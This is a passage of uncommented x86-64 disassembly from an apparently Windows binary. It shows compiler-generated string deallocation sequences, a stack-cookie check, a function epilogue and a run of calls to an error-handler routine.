cmp rax, 0x1f
ja 0x14003ad9e
call fcn.1400ae880
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], send
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x14003ab52
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ab4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ada4
call fcn.1400ae880
movdqa xmm0, xmmword [0x1401181f0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1b0], r12w
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14003abab
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aba6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003adaa
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 7
jbe 0x14003ac10
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ac03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003adb0
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 7
mov word [rbp + 0x170], r12w
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14003ac73
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ac66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003adb6
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14003accb
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003acbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003adbc
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14003ad1f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ad12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad5e
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1400ae860
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140098254
nop
mov r8, rdi
lea rcx, str.status
call fcn.14002e1d0
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
int3
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
nop
call fcn.140098254
int3